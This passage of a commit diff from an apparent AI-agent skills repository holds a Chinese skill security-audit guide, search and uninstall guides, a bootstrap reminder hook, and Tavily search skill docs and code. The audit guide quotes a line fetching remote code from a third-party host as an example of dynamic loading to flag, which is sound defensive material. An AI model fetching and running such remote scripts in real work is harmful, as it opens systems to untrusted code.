// runtime.js 内容(第 2 层)
fetch('https://third.com/exec.js'); // 第 3 层 → 触发 C 级标记
```
#### 3.5 边界完整性检查
- 缺乏基本的输入验证(未检查参数类型、范围)
- 对异常情况处理不当(try-catch 缺失)
- 错误信息泄露敏感信息(堆栈跟踪包含路径、密钥片段)
#### 3.6 描述逻辑审查
- 功能描述是否清晰准确
- 安全相关行为是否有明确告知
- 是否隐瞒潜在风险
### 第四步:来源可信度评估
确定 skill 的来源等级:
**T1 - 官方/顶级来源:**
- 知名大型技术公司(Google, Microsoft, OpenAI, Anthropic, Meta, AWS)
- 顶级开源基金会(Apache, Linux 基金会)
- 有官方代码签名
**T2 - 可信组织来源:**
- 有实名认证的组织账号
- GitHub 组织账号(非个人)
- Stars > 1000 或有良好声誉
**T3 - 社区/个人来源:**
- 个人开发者账号
- 小型社区项目
- 来源无法明确验证
### 第五步:计算评级
评级判定流程:
```
检查开始
↓
发现 D 级问题? ──是──→ D 级(一票否决)
↓ 否
发现 C 级问题? ──是──→ C 级
↓ 否
满足 S 级要求? ──是──→ S 级
↓ 否
满足 A 级要求? ──是──→ A 级
↓ 否
B 级
```
**纯文档型资产**(无代码):
| 条件 | 评级 |
|------|------|
| 无 C/D 级问题 + T1/T2 来源 | **S 级** |
| 无 C/D 级问题 + T3 来源 | **A 级** |
**代码型资产**(有脚本/可执行代码):
S 级要求(需全部满足):
1. **来源可信**:T1/T2 来源
2. **代码安全**:无危险函数,无注入漏洞
3. **依赖可靠**:版本锁定,无动态代码加载,无已知 CVE
4. **输入验证**:完善的参数校验和类型检查
5. **错误处理**:不暴露敏感信息,有异常处理机制
6. **权限最小化**:权限申请与功能匹配,有明确说明
7. **数据隐私**:无静默收集,用户可控制数据使用
A 级要求(需全部满足):
1. **代码安全**:无危险函数,无注入漏洞
2. **依赖可靠**:版本锁定,无动态代码加载,无已知 CVE
3. **输入验证**:完善的参数校验和类型检查
4. **错误处理**:不暴露敏感信息,有异常处理机制
5. **权限最小化**:权限申请与功能匹配,有明确说明
6. **数据隐私**:无静默收集,用户可控制数据使用
(A 级与 S 级的区别在于:S 级要求 T1/T2 来源,A 级允许 T3 来源)
### 第六步:生成报告
报告结构:
```markdown
# Cocoloop Safe Check 安全认证报告
## 基本信息
- Skill 名称: [名称]
- 来源: [GitHub 链接/本地路径]
- 来源等级: [T1/T2/T3]
## 评级结果
评级: [S+/S/A/B/C/D]
评价: [一句话评价]
## 检查依据
### ✅ 通过项
- [检查项]
### ⚠️ 注意事项
- [注意事项]
### ❌ 问题项
- [问题项]
## 详细检查结果
[各维度详细检查结果]
## 使用建议
[推荐使用场景和安全使用指南]
```
## 报告保存流程
1. **询问用户保存位置**
- 选项:桌面 / 下载文件夹 / 当前工作目录 / 指定路径 / 只展示不保存
2. **根据选择保存**
- 文件名格式:`Cocoloop-认证-{skill-name}-{评级}-报告.md`
3. **展示结果摘要**
## 使用建议生成
根据评级生成使用建议:
**S+/S 级:**
- 可放心使用
- 推荐用于生产环境
**A 级:**
- 代码安全,可正常使用
- 建议了解作者背景
**B 级:**
- 无显著安全问题,但有改进空间
- 建议阅读代码后再使用
**C 级:**
- 存在潜在安全问题
- 建议在隔离环境测试后再使用
- 不建议用于处理敏感数据
**D 级:**
- 存在严重安全问题
- 强烈建议不要使用
- 如需使用,必须在完全隔离的环境中

View file

@ -0,0 +1,254 @@
# Skill 搜索流程详细指南
本文档详细描述 Cocoloop 的多源搜索机制。
## 搜索源优先级
1. **Cocoloop API** - 官方技能仓库(优先)
2. **GitHub API** - 开源社区(fallback)
3. **本地缓存** - 已下载的 skill 信息(辅助)
## Cocoloop API 搜索
### 请求格式
```
GET https://api.cocoloop.cn/search={encoded_query}
```
### 请求头
```
User-Agent: Cocoloop-Skill-Manager/1.0
Accept: application/json
```
### 响应格式
```json
{
"results": [
{
"name": "skill-name",
"displayName": "Skill Display Name",
"description": "Skill description",
"url": "https://skills.cocoloop.cn/skill-name/v1.0.0.skill",
"version": "1.0.0",
"author": "author-name",
"authorUrl": "https://github.com/author",
"license": "MIT",
"downloads": 1500,
"rating": "S",
"tags": ["pdf", "document"],
"updatedAt": "2024-01-15T10:30:00Z"
}
],
"total": 10,
"page": 1,
"perPage": 20
}
```
### 处理逻辑
1. 发送请求
2. 解析 JSON 响应
3. 过滤结果(匹配度排序)
4. 返回前 10 个结果
## GitHub API 搜索
### 请求格式
```
GET https://api.github.com/search/repositories?q={query}+filename:SKILL.md&sort=stars&order=desc&per_page=10
```
### 搜索查询构建
基础查询:`{query} filename:SKILL.md`
可选追加:
- `+language:javascript` - 限定语言
- `+stars:>10` - 限定 stars 数
- `+topic:claude-skill` - 限定 topic
### 响应处理
原始响应字段映射:
```javascript
{
name: item.name, // 仓库名
fullName: item.full_name, // 完整名 owner/repo
description: item.description, // 描述
url: item.html_url, // GitHub 页面
stars: item.stargazers_count, // stars 数
forks: item.forks_count, // forks 数
language: item.language, // 主要语言
updatedAt: item.updated_at, // 更新时间
owner: {
name: item.owner.login, // 所有者名
type: item.owner.type, // 'User' 或 'Organization'
avatar: item.owner.avatar_url // 头像 URL
},
license: item.license?.name, // 许可证
topics: item.topics // 标签数组
}
```
### 结果过滤与排序
过滤条件:
1. 仓库名或描述包含查询词
2. 不是 fork 的仓库(可选)
3. 最近 2 年有更新(可选)
排序规则:
1. 组织账号优先于个人账号
2. stars 数高优先
3. 最近更新优先
### 展示格式
```
🐙 GitHub 搜索结果 (按 stars 排序):
1. company/skill-name ⭐ 1.2k
🏢 Organization | MIT License
📄 PDF processing and manipulation tools
🏷️ pdf, document, converter
2. user/another-skill ⭐ 45
👤 User | Apache-2.0
📄 Simple PDF utilities
🏷️ pdf, utils
3. ...
```
## 综合搜索流程
当用户搜索时,执行以下流程:
```
并行执行:
├── Cocoloop API 搜索 ──────→ 结果 A
└── GitHub API 搜索 ────────→ 结果 B
合并结果:
1. 优先展示 Cocoloop 结果(官方源)
2. 然后展示 GitHub 结果(社区源)
3. 去重(相同 fullName 只保留一个)
展示:
- 最多展示 10 个结果(可配置)
- 标注来源(🌟 Cocoloop / 🐙 GitHub)
- 显示关键信息(名称、描述、stars、来源类型)
```
## 获取 Skill 详情
当用户选择某个 skill 后,获取详细信息:
### 对于 Cocoloop 源
直接读取 API 返回的完整信息。
### 对于 GitHub 源
1. **获取仓库详情**
```
GET https://api.github.com/repos/{owner}/{repo}
```
2. **获取 SKILL.md 内容**
```
GET https://api.github.com/repos/{owner}/{repo}/contents/SKILL.md
```
响应中的 `content` 字段是 base64 编码的,需要解码。
3. **解析 SKILL.md**
- 提取 frontmatter(name, description)
- 提取前 500 字作为预览
4. **获取最新 release(可选)**
```
GET https://api.github.com/repos/{owner}/{repo}/releases/latest
```
### 详情展示格式
```
📋 Skill 详情
名称: pdf-processor
版本: 1.0.0
来源: 🐙 GitHub (Organization)
⭐ Stars: 1250 | 🍴 Forks: 45
📄 许可证: MIT
🏷️ 标签: pdf, document, converter
描述:
Advanced PDF processing and manipulation tools. Supports conversion,
merging, splitting, and encryption.
SKILL.md 预览:
---
name: pdf-processor
description: PDF processing skill...
---
# PDF Processor
This skill provides tools for working with PDF files...
来源可信度: T2 (可信组织)
安全评级: 待检查
是否安装此 skill? [Y/n]
```
## 本地缓存搜索
为了提高重复搜索的速度,维护本地缓存:
### 缓存位置
`~/.cocoloop/cache/search.json`
### 缓存格式
```json
{
"query": "pdf",
"timestamp": "2024-01-15T10:30:00Z",
"results": [...],
"expires": "2024-01-16T10:30:00Z"
}
```
### 缓存策略
- 缓存有效期:24 小时
- 命中缓存时,询问用户是否使用缓存结果
- 提供 `--fresh` 或 `-f` 参数强制刷新
## 错误处理
| 错误场景 | 处理方式 |
|---------|---------|
| Cocoloop API 超时 | 自动 fallback 到 GitHub |
| GitHub API 限流 | 提示用户稍后重试,或使用本地缓存 |
| 网络错误 | 显示错误信息,建议使用离线模式(如果有缓存)|
| 解析错误 | 记录日志,跳过该结果,继续其他 |
## 高级搜索语法
支持以下搜索修饰符:
| 修饰符 | 含义 | 示例 |
|-------|------|------|
| `author:` | 限定作者 | `author:anthropic pdf` |
| `lang:` | 限定语言 | `lang:javascript tool` |
| `stars:>n` | stars 数大于 | `stars:>100 utility` |
| `source:cocoloop` | 仅官方源 | `source:cocoloop document` |
| `source:github` | 仅 GitHub | `source:github utility` |

View file

@ -0,0 +1,163 @@
# Skill 卸载流程详细指南
本文档详细描述 skill 的卸载流程。
## 卸载前准备
### 1. 检测平台
使用与安装相同的平台检测逻辑:
```
IF OpenClaw:
安装目录 = ~/.openclaw/skills/
配置文件 = ~/.openclaw/config.json
ELSE IF Molili:
安装目录 = ~/.molili/skills/
配置文件 = ~/.molili/config.json
ELSE IF Claude Code:
安装目录 = ~/.claude/skills/
配置文件 = ~/.claude/config.json
ELSE:
安装目录 = ~/.claude/skills/ (clawhub 默认)
配置文件 = ~/.claude/config.json
```
### 2. 确认 Skill 存在
检查 skill 目录是否存在:
```
{安装目录}/{skill-name}/
├── SKILL.md
├── scripts/
├── references/
└── assets/
```
如果不存在:
- 返回错误 "未找到该 skill,可能已卸载或名称错误"
- 建议用户使用 `list` 命令查看已安装 skills
### 3. 获取 Skill 信息
读取 SKILL.md 获取基本信息:
- name
- description
- version(如果有)
## 卸载流程
### 第一步:用户确认
展示将要卸载的 skill 信息,请求确认:
```
⚠️ 即将卸载以下 skill:
名称: pdf-processor
描述: PDF processing and manipulation tools
安装路径: ~/.claude/skills/pdf-processor/
⚠️ 此操作将删除该 skill 的所有文件,不可恢复。
是否确认卸载? [y/N]
```
可选:添加 `--force` 或 `-f` 参数跳过确认。
### 第二步:备份(可选)
如果用户指定 `--backup` 或 `-b` 参数:
1. 创建备份目录:`~/.cocoloop/backups/`
2. 打包 skill 目录:`tar -czf ~/.cocoloop/backups/{skill-name}-{timestamp}.tar.gz {skill-path}/`
3. 提示备份位置
### 第三步:执行卸载
1. **删除 skill 目录**
```bash
rm -rf {安装目录}/{skill-name}/
```
2. **更新平台配置(如果需要)**
- 某些平台维护已安装 skill 列表
- 从列表中移除该 skill
3. **清理相关缓存**
- 删除 Cocoloop 本地缓存中该 skill 的搜索记录
- 删除安全检查缓存(如果有)
### 第四步:验证卸载
检查 skill 目录是否还存在:
- 如果存在 → 返回错误 "卸载失败,请检查权限或手动删除"
- 如果不存在 → 卸载成功
## 批量卸载
支持一次卸载多个 skills:
```
卸载 skill1 skill2 skill3
```
处理流程:
1. 遍历每个 skill
2. 执行单个卸载流程(不询问确认,或统一确认)
3. 汇总结果:
```
📊 卸载结果:
skill1: ✅ 已卸载
skill2: ❌ 未找到
skill3: ✅ 已卸载
```
## 卸载后处理
### 依赖检查(可选)
检查是否有其他 skill 依赖被卸载的 skill:
1. 遍历所有已安装 skills
2. 检查它们的 dependencies(如果有记录)
3. 如果有依赖关系,警告用户:
```
⚠️ 警告: 以下 skill 可能依赖 pdf-processor:
- document-workflow
继续使用这些 skill 可能会出现问题。
```
### 清理孤立依赖(高级)
如果 skill 安装了独立的依赖(如 node_modules),检查是否可以清理:
- 如果其他 skill 不使用 → 可以删除
- 如果有共享依赖 → 保留
## 错误处理
| 错误场景 | 处理方式 |
|---------|---------|
| 权限不足 | 提示使用 `sudo` 或检查目录权限 |
| 文件被占用 | 提示关闭使用该 skill 的程序后重试 |
| 目录非空但无法删除 | 保留日志,提示手动删除 |
| 配置文件损坏 | 尝试修复或重建配置 |
## 恢复卸载
如果用户误卸载,提供恢复选项(前提是备份存在):
```
恢复 pdf-processor
```
流程:
1. 查找备份目录:`~/.cocoloop/backups/pdf-processor-*.tar.gz`
2. 列出可用备份(按时间排序)
3. 询问用户选择恢复哪个版本
4. 解压到安装目录
5. 验证恢复

View file

@ -1,31 +0,0 @@
---
name: coding
description: 研发实现技能,负责代码实现、缺陷修复与验证闭环。
user-invocable: true
disable-model-invocation: false
metadata:
oclaw:
role: specialist
owner: workspace-coding
focus:
- implement
- refactor
- test
---
# Coding Skill(研发实现)
## 适用场景
- 新功能开发、缺陷修复、重构和性能优化。
- 需要定位报错、复现问题并给出稳定修复方案。
- 需要输出可合并、可验证、可回滚的代码结果。
## 工作方法
1. 先复现问题,明确预期行为。
2. 设计最小改动方案,控制影响面。
3. 实施修改并运行相关测试。
4. 提供变更说明、验证结果和残余风险。
## 输出要求
- 必须包含:改了什么、为什么、怎么验证、还有什么风险。
- 避免顺手混改无关逻辑。

View file

@ -1,27 +0,0 @@
---
name: main
description: 主编排技能,负责任务分派、验收与汇总输出。
user-invocable: true
disable-model-invocation: false
metadata:
oclaw:
role: orchestrator
owner: workspace-main
---
# Main Skill(主编排)
## 适用场景
- 用户需求跨多个领域,需要拆分给不同 specialist。
- 需要统一汇总 coding/social/ops 的结果并给出最终结论。
- 任务存在风险或不确定性,需要先做边界判断。
## 工作方法
1. 明确目标与验收标准。
2. 分派子任务并约束交付格式。
3. 基于证据做一致性检查。
4. 输出结论、影响、验证状态和下一步建议。
## 输出要求
- 先结论,后依据,最后行动项。
- 如果有风险,明确风险等级与回滚思路。

View file

@ -0,0 +1,85 @@
from __future__ import annotations
from typing import Any
REMINDER_NAME = "SELF_IMPROVEMENT_REMINDER.md"
REMINDER_PATH = REMINDER_NAME
REMINDER_CONTENT = """## Self-Improvement Reminder
After completing tasks, evaluate whether any learnings should be captured.
Only log if this repo or workspace is using the self-improvement skill.
Before logging:
- Create only missing `.learnings/` files; never overwrite existing content
- Do not log secrets, tokens, private keys, environment variables, or raw transcripts
- Prefer short summaries or redacted excerpts over full command output
**Log when:**
- User corrects you → `.learnings/LEARNINGS.md`
- Command/operation fails → `.learnings/ERRORS.md`
- User wants missing capability → `.learnings/FEATURE_REQUESTS.md`
- You discover your knowledge was wrong → `.learnings/LEARNINGS.md`
- You find a better approach → `.learnings/LEARNINGS.md`
**Promote when pattern is proven:**
- Behavioral patterns → `SOUL.md`
- Workflow improvements → `AGENTS.md`
- Tool gotchas → `TOOLS.md`
Keep entries simple: date, title, what happened, and what to do differently."""
def _is_record(value: object) -> bool:
return isinstance(value, dict)
def _is_injected_reminder_file(value: object) -> bool:
if not _is_record(value) or str(value.get("path")) != REMINDER_PATH: # type: ignore[union-attr]
return False
v = value # type: ignore[assignment]
return v.get("virtual") is True or v.get("content") == REMINDER_CONTENT
def handle(event: object) -> None:
if getattr(event, "type", None) != "agent" or getattr(event, "action", None) != "bootstrap":
return
ctx = getattr(event, "context", None)
if not isinstance(ctx, dict):
return
session_key = str(getattr(event, "sessionKey", "") or "")
if ":subagent:" in session_key:
return
if not isinstance(ctx.get("bootstrapFiles"), list):
return
files: list[object] = list(ctx.get("bootstrapFiles") or [])
occupied = any(
_is_record(f) and str(f.get("path")) == REMINDER_PATH and not _is_injected_reminder_file(f) # type: ignore[union-attr]
for f in files
)
if occupied:
return
cleaned: list[object] = [
f
for i, f in enumerate(files)
if (not _is_injected_reminder_file(f))
or (next((j for j, c in enumerate(files) if _is_injected_reminder_file(c)), -1) == i)
]
reminder_file: dict[str, Any] = {
"name": REMINDER_NAME,
"path": REMINDER_PATH,
"content": REMINDER_CONTENT,
"missing": False,
"virtual": True,
}
existing_idx = next((i for i, f in enumerate(cleaned) if _is_injected_reminder_file(f)), -1)
if existing_idx == -1:
cleaned.append(reminder_file)
else:
cleaned[existing_idx] = reminder_file
ctx["bootstrapFiles"] = cleaned

View file

@ -1,31 +0,0 @@
---
name: social
description: 对外沟通技能,负责可直接发布的中文文案与表达治理。
user-invocable: true
disable-model-invocation: false
metadata:
oclaw:
role: specialist
owner: workspace-social
focus:
- announcement
- rewrite
- audience_tone
---
# Social Skill(对外沟通)
## 适用场景
- 公告、邮件、更新说明、PR 描述、客服回复等对外文本。
- 需要按受众调整语气和信息层级。
- 需要把技术事实转成可读、可发布、可执行的表达。
## 工作方法
1. 明确受众、渠道、目标动作。
2. 抽取事实,剔除歧义和不可承诺内容。
3. 生成可直接发布版本(必要时提供备选语气)。
4. 检查敏感信息和承诺边界。
## 输出要求
- 默认给:一句话版 + 标准版正文。
- 术语统一,避免过度承诺。

View file

@ -0,0 +1,351 @@
---
name: tavily-search-pro
slug: tavily-search-pro
description: >
Tavily AI search platform with 5 modes: Search (web/news/finance), Extract (URL content),
Crawl (website crawling), Map (sitemap discovery), and Research (deep research with citations).
Use for: web search with LLM answers, content extraction, site crawling, deep research.
version: 1.0.0
author: Leo 🦁
tags: [search, tavily, web, news, finance, extract, crawl, research, api]
metadata: {"clawdbot":{"emoji":"🔎","requires":{"env":["TAVILY_API_KEY"]},"primaryEnv":"TAVILY_API_KEY","install":[{"id":"pip","kind":"pip","package":"tavily-python","label":"Install dependencies (pip)"}]}}
allowed-tools: [exec]
---
# Tavily Search 🔎
AI-powered web search platform with 5 modes: Search, Extract, Crawl, Map, and Research.
## Requirements
- `TAVILY_API_KEY` environment variable
## Configuration
| Env Variable | Default | Description |
|---|---|---|
| `TAVILY_API_KEY` | — | **Required.** Tavily API key |
Set in OpenClaw config:
```json
{
"env": {
"TAVILY_API_KEY": "tvly-..."
}
}
```
## Script Location
```bash
python3 skills/tavily/lib/tavily_search.py <command> "query" [options]
```
---
## Commands
### search — Web Search (Default)
General-purpose web search with optional LLM-synthesized answer.
```bash
python3 lib/tavily_search.py search "query" [options]
```
**Examples:**
```bash
# Basic search
python3 lib/tavily_search.py search "latest AI news"
# With LLM answer
python3 lib/tavily_search.py search "what is quantum computing" --answer
# Advanced depth (better results, 2 credits)
python3 lib/tavily_search.py search "climate change solutions" --depth advanced
# Time-filtered
python3 lib/tavily_search.py search "OpenAI announcements" --time week
# Domain filtering
python3 lib/tavily_search.py search "machine learning" --include-domains arxiv.org,nature.com
# Country boost
python3 lib/tavily_search.py search "tech startups" --country US
# With raw content and images
python3 lib/tavily_search.py search "solar energy" --raw --images -n 10
# JSON output
python3 lib/tavily_search.py search "bitcoin price" --json
```
**Output format (text):**
```
Answer: <LLM-synthesized answer if --answer>
Results:
1. Result Title
https://example.com/article
Content snippet from the page...
2. Another Result
https://example.com/other
Another snippet...
```
---
### news — News Search
Search optimized for news articles. Sets `topic=news`.
```bash
python3 lib/tavily_search.py news "query" [options]
```
**Examples:**
```bash
python3 lib/tavily_search.py news "AI regulation"
python3 lib/tavily_search.py news "Israel tech" --time day --answer
python3 lib/tavily_search.py news "stock market" --time week -n 10
```
---
### finance — Finance Search
Search optimized for financial data and news. Sets `topic=finance`.
```bash
python3 lib/tavily_search.py finance "query" [options]
```
**Examples:**
```bash
python3 lib/tavily_search.py finance "NVIDIA stock analysis"
python3 lib/tavily_search.py finance "cryptocurrency market trends" --time month
python3 lib/tavily_search.py finance "S&P 500 forecast 2026" --answer
```
---
### extract — Extract Content from URLs
Extract readable content from one or more URLs.
```bash
python3 lib/tavily_search.py extract URL [URL...] [options]
```
**Parameters:**
- `urls`: One or more URLs to extract (positional args)
- `--depth basic|advanced`: Extraction depth
- `--format markdown|text`: Output format (default: markdown)
- `--query "text"`: Rerank extracted chunks by relevance to query
**Examples:**
```bash
# Extract single URL
python3 lib/tavily_search.py extract "https://example.com/article"
# Extract multiple URLs
python3 lib/tavily_search.py extract "https://url1.com" "https://url2.com"
# Advanced extraction with relevance reranking
python3 lib/tavily_search.py extract "https://arxiv.org/paper" --depth advanced --query "transformer architecture"
# Text format output
python3 lib/tavily_search.py extract "https://example.com" --format text
```
**Output format:**
```
URL: https://example.com/article
─────────────────────────────────
<Extracted content in markdown/text>
URL: https://another.com/page
─────────────────────────────────
<Extracted content>
```
---
### crawl — Crawl a Website
Crawl a website starting from a root URL, following links.
```bash
python3 lib/tavily_search.py crawl URL [options]
```
**Parameters:**
- `url`: Root URL to start crawling
- `--depth basic|advanced`: Crawl depth
- `--max-depth N`: Maximum link depth to follow (default: 2)
- `--max-breadth N`: Maximum pages per depth level (default: 10)
- `--limit N`: Maximum total pages (default: 10)
- `--instructions "text"`: Natural language crawl instructions
- `--select-paths p1,p2`: Only crawl these path patterns
- `--exclude-paths p1,p2`: Skip these path patterns
- `--format markdown|text`: Output format
**Examples:**
```bash
# Basic crawl
python3 lib/tavily_search.py crawl "https://docs.example.com"
# Focused crawl with instructions
python3 lib/tavily_search.py crawl "https://docs.python.org" --instructions "Find all asyncio documentation" --limit 20
# Crawl specific paths only
python3 lib/tavily_search.py crawl "https://example.com" --select-paths "/blog,/docs" --max-depth 3
```
**Output format:**
```
Crawled 5 pages from https://docs.example.com
Page 1: https://docs.example.com/intro
─────────────────────────────────
<Content>
Page 2: https://docs.example.com/guide
─────────────────────────────────
<Content>
```
---
### map — Sitemap Discovery
Discover all URLs on a website (sitemap).
```bash
python3 lib/tavily_search.py map URL [options]
```
**Parameters:**
- `url`: Root URL to map
- `--max-depth N`: Depth to follow (default: 2)
- `--max-breadth N`: Breadth per level (default: 20)
- `--limit N`: Maximum URLs (default: 50)
**Examples:**
```bash
# Map a site
python3 lib/tavily_search.py map "https://example.com"
# Deep map
python3 lib/tavily_search.py map "https://docs.python.org" --max-depth 3 --limit 100
```
**Output format:**
```
Sitemap for https://example.com (42 URLs found):
1. https://example.com/
2. https://example.com/about
3. https://example.com/blog
...
```
---
### research — Deep Research
Comprehensive AI-powered research on a topic with citations.
```bash
python3 lib/tavily_search.py research "query" [options]
```
**Parameters:**
- `query`: Research question
- `--model mini|pro|auto`: Research model (default: auto)
- `mini`: Faster, cheaper
- `pro`: More thorough
- `auto`: Let Tavily decide
- `--json`: JSON output (supports structured output schema)
**Examples:**
```bash
# Basic research
python3 lib/tavily_search.py research "Impact of AI on healthcare in 2026"
# Pro model for thorough research
python3 lib/tavily_search.py research "Comparison of quantum computing approaches" --model pro
# JSON output
python3 lib/tavily_search.py research "Electric vehicle market analysis" --json
```
**Output format:**
```
Research: Impact of AI on healthcare in 2026
<Comprehensive research report with citations>
Sources:
[1] https://source1.com
[2] https://source2.com
...
```
---
## Options Reference
| Option | Applies To | Description | Default |
|---|---|---|---|
| `--depth basic\|advanced` | search, news, finance, extract | Search/extraction depth | basic |
| `--time day\|week\|month\|year` | search, news, finance | Time range filter | none |
| `-n NUM` | search, news, finance | Max results (0-20) | 5 |
| `--answer` | search, news, finance | Include LLM answer | off |
| `--raw` | search, news, finance | Include raw page content | off |
| `--images` | search, news, finance | Include image URLs | off |
| `--include-domains d1,d2` | search, news, finance | Only these domains | none |
| `--exclude-domains d1,d2` | search, news, finance | Exclude these domains | none |
| `--country XX` | search, news, finance | Boost country results | none |
| `--json` | all | Structured JSON output | off |
| `--format markdown\|text` | extract, crawl | Content format | markdown |
| `--query "text"` | extract | Relevance reranking query | none |
| `--model mini\|pro\|auto` | research | Research model | auto |
| `--max-depth N` | crawl, map | Max link depth | 2 |
| `--max-breadth N` | crawl, map | Max pages per level | 10/20 |
| `--limit N` | crawl, map | Max total pages/URLs | 10/50 |
| `--instructions "text"` | crawl | Natural language instructions | none |
| `--select-paths p1,p2` | crawl | Include path patterns | none |
| `--exclude-paths p1,p2` | crawl | Exclude path patterns | none |
---
## Error Handling
- **Missing API key:** Clear error message with setup instructions.
- **401 Unauthorized:** Invalid API key.
- **429 Rate Limit:** Rate limit exceeded, try again later.
- **Network errors:** Descriptive error with cause.
- **No results:** Clean "No results found." message.
- **Timeout:** 30-second timeout on all HTTP requests.
---
## Credits & Pricing
| API | Basic | Advanced |
|---|---|---|
| Search | 1 credit | 2 credits |
| Extract | 1 credit/URL | 2 credits/URL |
| Crawl | 1 credit/page | 2 credits/page |
| Map | 1 credit | 1 credit |
| Research | Varies by model | - |
---
## Install
```bash
bash skills/tavily/install.sh
```

View file

@ -0,0 +1,11 @@
{
"owner": "shaharsha",
"slug": "tavily-search-pro",
"displayName": "Tavily Search Pro",
"latest": {
"version": "1.0.0",
"publishedAt": 1770481308912,
"commit": "https://github.com/openclaw/skills/commit/7c907638c02746d4cdc5504cbe2816f52f6107ae"
},
"history": []
}

View file

@ -0,0 +1,30 @@
#!/usr/bin/env bash
# Tavily Search skill installer
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
echo "📦 Installing Tavily Search skill..."
# Install Python dependencies
pip install --break-system-packages --quiet tavily-python 2>/dev/null || {
echo "⚠️ pip install failed, trying without --break-system-packages..."
pip install --quiet tavily-python 2>/dev/null || {
echo "❌ Failed to install tavily-python. Install manually: pip install tavily-python"
exit 1
}
}
# Verify API key
if [ -z "${TAVILY_API_KEY:-}" ]; then
echo "⚠️ TAVILY_API_KEY not set. Set it in OpenClaw config before using."
else
echo "✅ TAVILY_API_KEY found"
fi
# Quick smoke test
if python3 "$SCRIPT_DIR/lib/tavily_search.py" --help >/dev/null 2>&1; then
echo "✅ Tavily Search skill ready."
else
echo "⚠️ Smoke test failed - check Python dependencies."
exit 1
fi

View file

@ -0,0 +1,549 @@
#!/usr/bin/env python3
"""
Tavily Search v1.0 - AI-powered web search platform with 5 modes.
Author: Leo 🦁
Created: 2026-02-07
Commands:
- search: General web search with optional LLM answer
- news: News-optimized search (topic=news)
- finance: Finance-optimized search (topic=finance)
- extract: Extract content from URLs
- crawl: Crawl a website
- map: Discover sitemap URLs
- research: Deep AI research with citations
Environment Variables:
- TAVILY_API_KEY: Required. Tavily API key.
"""
import argparse
import json
import os
import sys
import urllib.request
import urllib.error
from typing import Any, Optional
# ─── Configuration ───────────────────────────────────────────────────────────
API_KEY: str = os.environ.get("TAVILY_API_KEY", "")
BASE_URL: str = "https://api.tavily.com"
REQUEST_TIMEOUT: int = 30
RESEARCH_TIMEOUT: int = 120 # Research can take longer
# ─── HTTP Helper ─────────────────────────────────────────────────────────────
def _api_request(
endpoint: str,
payload: dict[str, Any],
timeout: int = REQUEST_TIMEOUT,
) -> dict[str, Any]:
"""
Make a POST request to the Tavily API.
Args:
endpoint: API endpoint path (e.g., '/search').
payload: JSON request body.
timeout: Request timeout in seconds.
Returns:
Parsed JSON response.
Raises:
SystemExit: On API errors with descriptive messages.
"""
url = f"{BASE_URL}{endpoint}"
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
url,
data=data,
headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {API_KEY}",
},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return json.loads(resp.read())
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")[:500]
if e.code == 401:
print("Error: Invalid TAVILY_API_KEY. Check your key at https://app.tavily.com", file=sys.stderr)
elif e.code == 429:
print("Error: Rate limit exceeded. Try again later.", file=sys.stderr)
elif e.code == 400:
# Try to extract error message from JSON response
try:
err_data = json.loads(body)
msg = err_data.get("detail", err_data.get("message", body))
print(f"Error: Bad request - {msg}", file=sys.stderr)
except (json.JSONDecodeError, KeyError):
print(f"Error: Bad request - {body}", file=sys.stderr)
else:
print(f"Error: Tavily API returned {e.code}: {body}", file=sys.stderr)
sys.exit(1)
except urllib.error.URLError as e:
print(f"Error: Network error - {e.reason}", file=sys.stderr)
sys.exit(1)
except TimeoutError:
print(f"Error: Request timed out after {timeout}s", file=sys.stderr)
sys.exit(1)
# ─── Output Formatting ──────────────────────────────────────────────────────
def _format_search_results(data: dict[str, Any], as_json: bool = False) -> str:
"""Format search/news/finance results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
lines: list[str] = []
# LLM answer
answer = data.get("answer")
if answer:
lines.append(f"Answer: {answer}")
lines.append("")
# Images
images = data.get("images")
if images:
lines.append("Images:")
for img in images:
if isinstance(img, dict):
lines.append(f" - {img.get('url', img)}")
else:
lines.append(f" - {img}")
lines.append("")
# Results
results = data.get("results", [])
if results:
lines.append("Results:")
for i, r in enumerate(results, 1):
title = r.get("title", "Untitled")
url = r.get("url", "")
content = r.get("content", "")
score = r.get("score")
published = r.get("published_date", "")
lines.append(f" {i}. {title}")
lines.append(f" {url}")
if published:
lines.append(f" Published: {published}")
if score is not None:
lines.append(f" Score: {score:.4f}")
if content:
# Truncate long content to keep output readable
snippet = content[:500].strip()
if len(content) > 500:
snippet += "..."
lines.append(f" {snippet}")
# Raw content (if requested)
raw = r.get("raw_content")
if raw:
lines.append(f" --- Raw Content ---")
raw_snippet = raw[:1000].strip()
if len(raw) > 1000:
raw_snippet += f"... [{len(raw)} chars total]"
lines.append(f" {raw_snippet}")
lines.append("")
elif not answer:
lines.append("No results found.")
return "\n".join(lines).rstrip()
def _format_extract_results(data: dict[str, Any], as_json: bool = False) -> str:
"""Format extract results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
lines: list[str] = []
results = data.get("results", [])
if not results:
return "No content extracted."
for r in results:
url = r.get("url", "Unknown URL")
content = r.get("raw_content", "")
lines.append(f"URL: {url}")
lines.append("─" * 50)
if content:
lines.append(content.strip())
else:
lines.append("(No content extracted)")
lines.append("")
# Failed URLs
failed = data.get("failed_results", [])
if failed:
lines.append("Failed URLs:")
for f in failed:
url = f.get("url", "Unknown")
error = f.get("error", "Unknown error")
lines.append(f" ✗ {url}: {error}")
return "\n".join(lines).rstrip()
def _format_crawl_results(data: dict[str, Any], as_json: bool = False) -> str:
"""Format crawl results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
lines: list[str] = []
results = data.get("results", [])
base_url = data.get("base_url", "")
lines.append(f"Crawled {len(results)} pages from {base_url}")
lines.append("")
for i, r in enumerate(results, 1):
url = r.get("url", "Unknown URL")
content = r.get("raw_content", "")
lines.append(f"Page {i}: {url}")
lines.append("─" * 50)
if content:
# Truncate very long pages
snippet = content[:2000].strip()
if len(content) > 2000:
snippet += f"\n... [{len(content)} chars total]"
lines.append(snippet)
else:
lines.append("(No content)")
lines.append("")
# Failed
failed = data.get("failed_results", [])
if failed:
lines.append("Failed URLs:")
for f in failed:
url = f.get("url", "Unknown")
error = f.get("error", "Unknown error")
